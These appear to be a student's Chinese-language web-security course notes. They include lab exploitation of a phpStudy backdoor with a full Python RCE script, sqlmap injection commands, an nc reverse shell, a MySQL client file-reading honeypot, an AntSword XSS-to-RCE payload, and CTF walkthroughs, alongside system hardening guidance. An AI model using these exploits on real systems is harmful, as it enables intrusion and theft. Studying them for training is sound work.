DAY1
VMware虚拟机,配置win7虚拟机环境,安装phpenv
在根目录下建立php,用物理机访问
搭建论坛程序
- 将discuz中的upload目录移到到网站根目录localhost下
- 用浏览器访问进行安装,用户名等信息自选
- 安装后访问成功
新建练习网站
新建test.local网站,在host 中建立映射规则”test.local 192.168.112.133(虚拟机IP)“ 使物理机能够访问网站
DAY2
crAPI
此部分使用crAPI靶场环境进行实验,详见博客crAPI
DAY3
云安全
什么是ECS?
ECS(Elastic Compute Service)是阿里云提供的一种弹性计算服务,它为用户提供了可弹性伸缩的云服务器。ECS的产生背景是为了满足用户对于弹性计算资源的需求,可以根据业务需求快速创建、配置和管理云服务器。
产生背景和优势是什么?
ECS的产生背景是为了满足用户对于弹性计算资源的需求,可以根据业务需求快速创建、配置和管理云服务器。
- 弹性伸缩:可以根据业务需求自动扩展或缩减计算资源,提高系统的可靠性和可用性。
- 灵活配置:可以根据需求选择不同的实例规格、操作系统和存储设备,满足不同业务场景的需求。
- 安全可靠:提供了多种安全机制,如安全组、密钥对等,保障用户数据的安全性。
- 弹性网络:提供了弹性公网IP和虚拟交换机等网络资源,方便用户构建复杂的网络架构。
什么是安全组?有何作用?
安全组(Security Group)是阿里云中的一种虚拟防火墙,用于设置入口和出口规则来控制云服务器的访问。安全组可以根据用户的需求,允许或禁止特定的IP地址、端口和协议访问云服务器,从而提供网络访问的安全保障。
阿里云中什么是RAM,有何作用?
RAM(Resource Access Management)是阿里云中的身份和访问管理服务,它可以帮助用户管理和控制多个云资源的访问权限。RAM可以实现用户的身份认证、用户权限的授权管理和资源的访问控制,从而提高云资源的安全性和管理效率。
什么是OSS,有何作用和优势?
OSS(Object Storage Service)是阿里云提供的一种分布式对象存储服务,用于存储和访问各种类型的非结构化数据。OSS可以提供高可靠性、高扩展性和低成本的数据存储解决方案,用户可以通过简单的API接口进行数据的上传、下载和管理。
AccessKey泄露有何风险?
AccessKey是阿里云身份验证的凭证,包括AccessKeyId和AccessKeySecret。AccessKey泄露可能导致未经授权的人员获取到用户的阿里云账号权限,从而可能进行恶意操作或获取敏感数据。为了保护AccessKey的安全,用户需要妥善保管和管理AccessKey,避免泄露。
什么是SSRF漏洞?
SSRF漏洞(Server Side Request Forgery)是一种由服务端发起的请求伪造漏洞,攻击者可以利用该漏洞发送恶意请求,获取敏感信息或攻击内部系统。
阿里云中SSRF漏洞的危害是什么?修复思路?
危害:接管账户
在阿里云中,SSRF漏洞可能导致攻击者访问和操作云环境中的敏感资源,可能造成数据泄露、服务不可用等安全问题。
修复思路:
- 限制请求的目标地址范围、验证用户输入的URL参数、使用白名单等措施来防止SSRF漏洞的利用
- 应用存在漏洞,需要修补应用漏洞。
- RAM 角色权限过大,导致可以通过该角色的权限进行创建子用户以及给子用户授予高权限等操作 整改:在为 RAM 角色赋予权限时,避免赋予过高的权限,只赋予自己所需要的权限。
- 元数据未做加固访问,导致一旦目标存在 SSRF 漏洞,元数据就存在被获取的风险。 整改:在「系统配置」的「高级选项」中将「实例元数据访问模式」设置为「仅加固模式」
SQLi
后端将前端提交的查询参数拼接到代码的SQL语句模板中进行查询,当攻击者提交带有非预期sql查询片段时,导致数据库被意外查询.
sqlmap使用
- 查询得到库名为 double-fish
python sqlmap.py -u http://www.wabjtam.ml:12380/News/newsView.php?newsId=1 --current-db
- 查询得到表名
python sqlmap.py -u http://www.wabjtam.ml:12380/News/newsView.php?newsId=1 -D double_fish --tables
- 查询得到列名
python sqlmap.py -u http://www.wabjtam.ml:12380/News/newsView.php?newsId=1 -D double_fish -T t_admin --columns
- 进入sql-shell并执行查询指令
python sqlmap.py -u http://www.wabjtam.ml:12380/News/newsView.php?newsId=1 --sql-shell
SELECT username, password from t_admin;
手动注入
- 使用
order by
判断列数 - 确定显示位
- 查库名
- 查表名
- 查列名
- 查数据
DAY4
XSS
Cross Site Scripting(XSS)跨站脚本攻击
原理
攻击者提供一段恶意的javascript代码,通过各种方式在受害者浏览器(暂定)上执行
危害
- 窃取coockie及其他信息
- 制造网站蠕虫
- 钓鱼
过程记录
- 受害者注册账号
- 攻击者在xss平台获得攻击代码
- 攻击者发布一个带有攻击代码的帖子(引诱受害者点击)
- 受害者因好奇等原因打开该帖子,中招
- 攻击者收获cookie
- 浏览器编辑cookie
- 以受害者身份在目标网站活动
修复思路
- 在http响应头的set-cookie的值中加入http-only的内容。
- 设置 Content Security Policy(CSP),用于限制网页中各个资源的加载和执行。通过设置 CSP,可以防止恶意脚本的执行,例如禁止执行内联脚本和仅允许加载特定源的脚本。
- 对输入进行验证和过滤:对用户输入的数据进行严格的验证和过滤,防止恶意代码被插入。 可以使用白名单或正则表达式来验证输入数据的格式和内容。
- 对于富文本需求来说,采用成熟的前端编辑器。
- 将输出转义:在将用户输入的数据输出到页面上时,进行相关转义,将特殊字符转换为它们的 HTML 实体编码。
DAY5
文件上传
此部分使用upload-labs靶场环境进行实验,详见博客Upload-labs
DAY6
Python爬虫——后门利用
此漏洞针对PHP集成开发环境phpStudy的如下版本:
- phpstudy 2016版php-5.4
- phpstudy 2018版php-5.2.17
- phpstudy 2018版php-5.4.45
这个后门漏洞允许未经授权的用户远程执行任意代码。
软件中预置了”php_xmlrpc.dll”的恶意文件。当攻击者成功利用该漏洞时,他们可以通过发送特定的HTTP请求,远程执行任意PHP代码,从而获取对受影响系统的完全控制权。
环境复现
按老师提供的安装包
由于我的环境是macOS+VMware Player创建的和物理机无缝集成的win7虚拟机,虚拟机在外部网络上共享Mac的IP,由Mac实现NAT,所以无需按照老师的方式添加NAT映射
Python实现
在根目录下创建一个空的php文件“111.php”用于测试,避免根目录html网页对输出的干扰
# -*- coding: utf-8 -*-
# @Author : XFishalways
# @Time : 2023/7/15 10:30
# @Function: Test phpStudy's backdoor
import requests
import base64
import chardet
# 定义后门函数,接收两个参数:shell和url
def backdoor(shell, url):
# 包装命令到PHP的system()函数中,并进行base64编码
shell = "system(\'%s\');" % shell
print("running command: %s" % shell)
encoded_bytes = base64.b64encode(shell.encode('utf-8'))
encoded_text = encoded_bytes.decode('utf-8')
# 构建请求头,将编码后的命令放在 'Accept-Charset' 字段
headers = {
'User-Agent': 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36',
'Sec-Fetch-Mode': 'navigate',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3',
'Sec-Fetch-Site': 'none',
'Accept-Charset': encoded_text,
'Accept-Encoding': 'gzip,deflate',
'Accept-Language': 'zh-CN,zh;q=0.9',
}
try:
# 发送GET请求
response = requests.get(url, headers=headers, timeout=20)
if response.status_code == 200:
# 检测响应内容的编码
detected_encoding = chardet.detect(response.content)['encoding']
# 解码响应内容并打印
decoded_text = response.content.decode(detected_encoding)
print(decoded_text)
else:
print('request failed')
except requests.exceptions.RequestException as e:
print('exception:', e)
# 主程序
if __name__ == "__main__":
while 1:
# 获取用户输入的命令
command = input("input your command: ")
if command == "exit":
# 如果命令为"exit",则退出
break
else:
# 否则,使用用户输入的命令和固定的URL调用后门函数
backdoor(command, "http://192.168.112.133:80/111.php")
- 将输入的命令base64编码后添加到header中的Accept-Charset字段
- 发送请求,接收响应,使用chardet自动检测编码并自动解码
运行结果
本机虚拟机:
组内同学热点下对他人:
DAY 7
信息搜集
- antsword:一种webshell(网站目录)管理工具。可以进行文件操作和命令执行。
- nmap,一种网络工具。可以扫描信息资产,包括存活主机、主机开放端口、端口服务类型等。
- nc,shell反弹工具,全称netcat。通常同时运行在攻击机和被攻击机上。 攻击机运行nc:监听等待反弹的shell连接 被控机运行nc:向攻击机反弹shell,让攻击机获得一个交互式命令执行界面。
扫描同网段下其他主机
扫描其中一个主机的端口
Webshell
9090端口访问upload-labs,上传shell
蚁剑连接
nc
上传nc文件夹
nc -lvp 9999 # 在本机上nc监听nc -t -e cmd.exe 172.20.10.7 9999 # 蚁剑连接
成功在本机的终端连接靶机cmd
本机环境搭建
代码审计
小结
3种审计方式:
- 代码通读审计
- 危险函数审计
- 关键功能及代码对照审计
因为Seay是windows平台的,我是macOS系统,就选取了RIPS代码审计系统作为替代
部署后扫描本机MAMP部署下的btslab结果如下:
使用ExploitCreator生成命令uname -a
对应的攻击代码
利用ExploitCreator生成代码创建php文件,运行命令: php vul_test.php http://127.0.0.1:8888/btslab
即完成攻击
DAY8
反制mysql客户端
蜜罐 vs. 计算机
计算机就是一个靶子随意攻击,不留痕迹
蜜罐是网络管理员经过周密布置而设下的“黑匣子”,虽然漏洞百出但都在掌握之中,它收集的入侵数据十分有价值,是一个安全资源它的价值在于被探测、攻击和损害
蜜罐好比是一个情报收集系统,一个诱捕攻击者的陷阱,设计蜜罐的初衷就是让黑客入侵,借此收集黑客的信息和行动证据,随时了解针对服务器发动的最新攻击和漏洞。
反制思路
伪造一个MySQL服务端诱导攻击者连接,即占用并监听3306端口,当攻击者的客户端连接上这个虚假服务端时,就可以利用漏洞来读取攻击者电脑的文件。
伪造的MySQL服务端重点是在LOAD DATA INFILE这个语法上,正常的MySQL中这个语法主要是用于读取一个文件的内容并放到一个表中,通常有两种用法,分别是:
- 读取服务器本地文件
- 读取客户端的文件
这样就可以利用这点读取攻击者的文件来进行反制
# -*- coding: utf-8 -*-
import socket
import os
import sys
from pathlib import Path
import platform
class MySQLFileReader:
def __init__(self, port):
self.port = port
self.sv = socket.socket()
self.sv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.sv.bind(("", port))
self.sv.listen(5)
def mysql_get_file_content(self, filename):
conn, address = self.sv.accept()
print(f"收到连接: {address[0]}")
logpath = os.path.abspath('.') + "/log/" + address[0]
if not os.path.exists(logpath):
os.makedirs(logpath)
server_version = b"\x0a\x35\x2e\x35\x2e\x35\x33"
if platform.system() == "Linux":
server_version = b"\x0a\x35\x2e\x37\x2e\x32\x39"
elif platform.system() == "Darwin":
server_version = b"\x0a\x35\x2e\x35\x2e\x36\x31"
conn.sendall(b"\x4a\x00\x00\x00" + server_version + b"\x00\x17\x00\x00\x00\x6e\x7a\x3b\x54\x76\x73\x61\x6a\x00\xff\xf7\x21\x02\x00\x0f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x76\x21\x3d\x50\x5c\x5a\x32\x2a\x7a\x49\x3f\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00")
conn.recv(9999)
conn.sendall(b"\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00")
conn.recv(9999)
wantfile = (len(filename) + 1).to_bytes(1, 'big') + b"\x00\x00\x01\xFB" + filename.encode()
conn.sendall(wantfile)
content = conn.recv(9999)
conn.close()
if len(content) > 4:
content_str = content.decode()
with open(logpath + "/" + Path(filename).name, "w") as txt:
txt.write(content_str)
print(f"文件内容: \n{content_str}")
return True
else:
return False
def read_files_from_input(self):
print(f"已在 {self.port} 端口启用MySQL蜜罐")
while True:
filename = input("请输入接下来你想读的文件名 (直接按回车退出): ")
if filename == "":
break
res = self.mysql_get_file_content(filename)
if res:
print(f"文件已保存 ---> {filename}")
else:
print(f"文件未找到 ---> {filename}")
def read_files_from_dict(self, dict_file):
print(f"已在 {self.port} 端口启用MySQL蜜罐")
with open(dict_file) as dicc:
for line in dicc.readlines():
line = line.strip("\n")
res = self.mysql_get_file_content(line)
if res:
print(f"文件已保存 ---> {line}")
else:
print(f"文件未找到 ---> {line}")
if __name__ == "__main__":
port = int(input("请输入监听端口号: "))
mode = input('''
请选择读取模式:
【1】从输入读取文件
''')
mysql_file_reader = MySQLFileReader(port)
if mode == '1':
mysql_file_reader.read_files_from_input()
else:
print("无效的模式选择,请重新运行程序并输入正确的模式。")
利于老师提供的exp_dicc.py实现mysql常用端口
读取win.ini,运行后得到结果:
读取本机名和wxid
反制蚁剑低版本
蚁剑简介
蚁剑(AntSword)是一款开源的跨平台WebShell管理工具,它主要面向于合法授权的渗透测试安全人员 以及进行常规操作的网站管理员。
蚁剑分为加载器和核心模块两部分,核心源码可由加载器自动下载。
AntSword <=2.0.7 漏洞
中国蚁剑存在 XSS 漏洞,借此可引起 RCE。据悉,该漏洞是因为在 webshell 远程连接失败时,中国蚁 剑会返回错误信息,但因为使用的是 html 解析,导致 xss 漏洞。
复现过程
用phpenv搭建web服务,创建一个服务
将如下带有XSS代码的木马上传web根目录,并用蚁剑连接
XSS内容为打开计算器:将 const { exec } = require('child_process'); exec('calc');
base64编码后加入一句话木马
<?PHP header("HTTP/1.1 500 Not \<img src=# onerror='eval(new Buffer(`Y29uc3QgeyBleGVjIH0gPSByZXF1aXJlKCdjaGlsZF9wcm9jZXNzJyk7CmV4ZWMoJ2NhbGMnK Ts=`,`base64`).toString())'>"); ?>
DAY9
Windows 操作系统安全加固
Windows 配置的途径
- 组策略(gpedit.msc)
- 命令(cmd或powershell中执行,或者编写bat、ps文件执行)
- 注册表(regedit)
- 配置文件(位置和文件名各不相同)
账户管理和认证授权
- 账户
- 默认账户安全
- 按照用户分配帐户
- 定期检查并删除与无关帐户
- 不显示最后的用户名配置登录登出后,不显示用户名称。操作步骤:打开 控制面板 > 管理工具 > 本地安全策略,在 本地策略 > 安全选项 中,双击 交互式登录:不显示最后的用户名,选择 已启用 并单击 确定。
- 检查影子账户
- 口令
- 密码复杂度密码复杂度要求必须满足以下策略:
- 最短密码长度要求八个字符。
- 启用本机组策略中密码必须符合复杂性要求的策略。
- 英语大写字母 A, B, C, … Z
- 英语小写字母 a, b, c, … z
- 西方阿拉伯数字 0, 1, 2, … 9
- 非字母数字字符,如标点符号,@, #, $, %, &, * 等
- 密码最长留存期对于采用静态口令认证技术的设备,帐户口令的留存期不应长于 90 天。 操作步骤打开 控制面板 > 管理工具 > 本地安全策略,在 帐户策略 > 密码策略 中,配置 密码最长使用期限 不大于 90 天。
- 帐户锁定策略
- 密码复杂度密码复杂度要求必须满足以下策略:
- 授权
- 远程关机在本地安全设置中,从远端系统强制关机权限只分配给 Administrators 组。操作步骤:打开 控制面板 > 管理工具 > 本地安全策略,在 本地策略 > 用户权限分配 中,配置 从远端系统强制关机 权限只分配给 Administrators 组。
- 本地关机
- 用户权限指派
- 授权帐户登录
- 授权帐户从网络访问
日志配置操作
日志配置:
- 审核登录
- 审核策略
- 审核事件目录服务访问
- 审核特权使用
- 审核系统事件
- 审核帐户管理
- 审核过程追踪
- 审核过程追踪
文件权限
共享文件夹及访问权限:
- 关闭默认共享
- 共享文件夹授权访问
服务安全
- 禁用 TCP/IP 上的 NetBIOS
- 禁用不必要的服务
安全选项
- 启用安全选项
- 禁用未登录前关机
其他安全配置
- 防病毒管理
- 设置屏幕保护密码和开启时间
- 限制远程登录空闲断开时间
- 操作系统补丁管理
- 开启本地防火墙
Linux 操作系统加固
账号和口令
- 禁用或删除无用账号减少系统无用账号,降低安全风险。操作步骤:
- 使用命令 userdel <用户名> 删除不必要的账号。
- 使用命令 passwd -l <用户名> 锁定不必要的账号。
- 使用命令 passwd -u <用户名> 解锁必要的账号。
- 检查特殊账号检查是否存在空口令和 root 权限的账号。操作步骤
- 查看空口令和 root 权限账号,确认是否存在异常账号:
- 使用命令 awk -F: ‘($2==””)’ /etc/shadow 查看空口令账号。
- 使用命令 awk -F: ‘($3==0)’ /etc/passwd 查看 UID 为零的账号。
- 加固空口令账号:
- 使用命令 passwd <用户名> 为空口令账号设定密码。
- 确认 UID 为零的账号只有 root 账号。
- 查看空口令和 root 权限账号,确认是否存在异常账号:
- 添加口令策略
- 限制用户 su
- 禁止 root 用户直接登录
服务
- 关闭不必要的服务:关闭不必要的服务(如普通服务和 xinetd 服务),降低风险。使用命令systemctl disable <服务名>设置服务在开机时不自动启动。说明: 对于部分老版本的 Linux 操作系统(如 CentOS 6),可以使用命令chkconfig –level应该没有需要关掉的服务
- SSH 服务安全:对 SSH 服务进行安全加固,防止暴力破解成功。
文件系统
- 设置 umask 值设置默认的 umask 值,增强安全性。操作步骤:使用命令 vi /etc/profile 修改配置文件,添加行 umask 027, 即新创建的文件属主拥有读写执行权限,同组用户拥有读和执行权限,其他用户无权限。
- 设置登录超时
日志
- syslogd 日志
- 记录所有用户的登录和操作日志通过脚本代码实现记录所有用户的登录操作日志,防止出现安全事件后无据可查。操作步骤:
- 运行 [root@xxx /]# vim /etc/profile打开配置文件。
- 在配置文件中输入以下内容:
historyUSER=`whoami`USER_IP=`who -u am i 2>/dev/null| awk '{print $NF}'|sed -e 's/[()]//g'`if [ "$USER_IP" = "" ]; thenUSER_IP=`hostname`fiif [ ! -d /var/log/history ]; thenmkdir /var/log/historychmod 777 /var/log/historyfiif [ ! -d /var/log/history/${LOGNAME} ]; thenmkdir /var/log/history/${LOGNAME}chmod 300 /var/log/history/${LOGNAME}fiexport HISTSIZE=4096DT=`date +"%Y%m%d_%H:%M:%S"`export HISTFILE="/var/log/history/${LOGNAME}/${USER}@${USER_IP}_$DT"chmod 600 /var/log/history/${LOGNAME}/*history* 2>/dev/null
- 运行 [root@xxx /]# source /etc/profile 加载配置生效。
Nginx加固
适用情况
适用于使用Nginx进行部署的Web网站。
技能要求
熟悉Nginx配置,能够Nginx进行部署,并能针对站点使用Nginx进行安全加固。
前置条件
- 根据站点开放端口,进程ID,确认站点采用Nginx进行部署;
- 找到Nginx安装目录,针对具体站点对配置文件进行修改;
- 在执行过程中若有任何疑问或建议,应及时反馈。
详细操作
- 备份nginx.conf 配置文件
- 在server标签内,定义日志路径
- 保存,然后后重启nginx服务
禁止目录浏览
备份nginx.conf配置文件。
编辑配置文件,HTTP模块添加如下一行内容:
autoindex off;
限制目录执行权限
备份nginx.conf配置文件。
编辑配置文件,在server标签内添加如下内容:
#示例:去掉单个目录的PHP执行权限location ~ /attachments/.*\.(php|php5)?$ {deny all;} #示例:去掉多个目录的PHP执行权限location ~/(attachments|upload)/.*\.(php|php5)?$ {deny all;}
保存,然后后重启nginx服务。
需要注意两点:
- 以上的配置文件代码需要放到 location ~ .php{…}上面,如果放到下面是无效的;
- attachments需要写相对路径,不能写绝对路径。
错误页面重定向(忽略)
最佳经验实践
- 隐藏版本信息备份nginx.conf配置文件。编辑配置文件,添加http模块中如下一行内容:server_tokens off;
- 限制HTTP请求方法
- 限制IP访问
- 限制并发和速度
- 控制超时时间
风险操作项
- Nginx降权
- 防盗链
- 补丁更新
PHP配置加固
屏蔽PHP错误输出
在/etc/php.ini(默认配置文件位置),将如下配置值改为Off
display_errors=Off
不要将错误堆栈信息直接输出到网页上,防止黑客加以利用相关信息。
正确的做法是:
把错误日志写到日志文件中,方便排查问题。
屏蔽PHP版本
默认情况下PHP版本会被显示在返回头里,如:
X-powered-by: PHP/7.2.0
将php.ini中如下的配置值改为Off
expose_php=Off
效果图:
关闭全局变量
如果开启全局变量会使一些表单提交的数据被自动注册为全局变量。代码如下:
<form action="/login" method="post"><input name="username" type="text"><input name="password" type="password"><input type="submit" value="submit" name="submit"></form>
如果开启了全局变量,则服务器端PHP脚本可以用和username和password来获取到用户名和密码,这会造成极大的脚本注入危险。
开启方法是在php.ini中修改如下:
register_globals=On
建议关闭,参数如下:
register_globals=Off
当关闭后,就只能从、POST、GET、$REQUEST里面获取相关参数。
文件系统限制
可以通过open_basedir来限制PHP可以访问的系统目录。
设置方法如下:
open_basedir=/var/www;c:/phpstudy/www
禁止远程资源访问
allow_url_fopen=Off
开启安全模式(php<5.3)
safe_mode=On
safe_mode_include_dir = D:/phpstudy/www/include/
开启magic_quotes_gpc(php<5.4)
主要是对GET,POST,$COOKIE数组里的函数自动转义
magic_quotes_gpc=On
禁用危险函数
disable_functions = phpinfo,eval,passthru,assert,exec,system,ini_set,ini_get,get_included_files,get_defined_functions,get_defined_constants,get_defined_vars,glob,chroot,``,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter,ini_restore,dl,pfsockopen,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,fsocket,fsockopen
其他第三方安全扩展
Suhosin、Taint等
Mysql配置
对mysql服务进行配置,实现用户的权限限制
要求:
- 通过hostname命令更改本机名称为自己姓名的拼音;
- 新建一个db_web1数据库,新建一个user_web1用户,让user_web1拥有db_web1的所有权限;
- user_web1只能从本地和10.10.10.200上登录;
CTF
CTF简介
之前已经完成过了
信息泄漏
- 目录遍历(第一题)手动试了一下就试出来了
- phpinfo(第二题)ctrl+F查找ctfhub字样(flag的格式是ctfhub{ }),找到flag
- 备份文件下载(第三题)之前已经都做过了。。。网站源码:
- www.zip获取备份文件文件中无flag,推测此处是由备份的文件名来访问web服务器上的文件
- 访问flag_2529423008.txt
文件上传
之前也都做过。。。
SQL注入
整数形注入(第四题)
- 根据提示输一个1得知当前的表名是news,库名是ctfhub,以及查询语句格式
- 通过
order by
判断字段数 - 判断回显位置
- 联合查询获取库名
- 根据库名判断出目标数据库应该是sqli(sql injection),随后查表名
- 查询目标表flag的字段
- 最终查询字段flag
RCE
文件包含(第5题)
- 先访问shell.txt获取shell代码
- 根据php代码得知需要GET方式传入参数file,并将file参数的值作为文件名
- 蚁剑连接在根目录下找到flag文件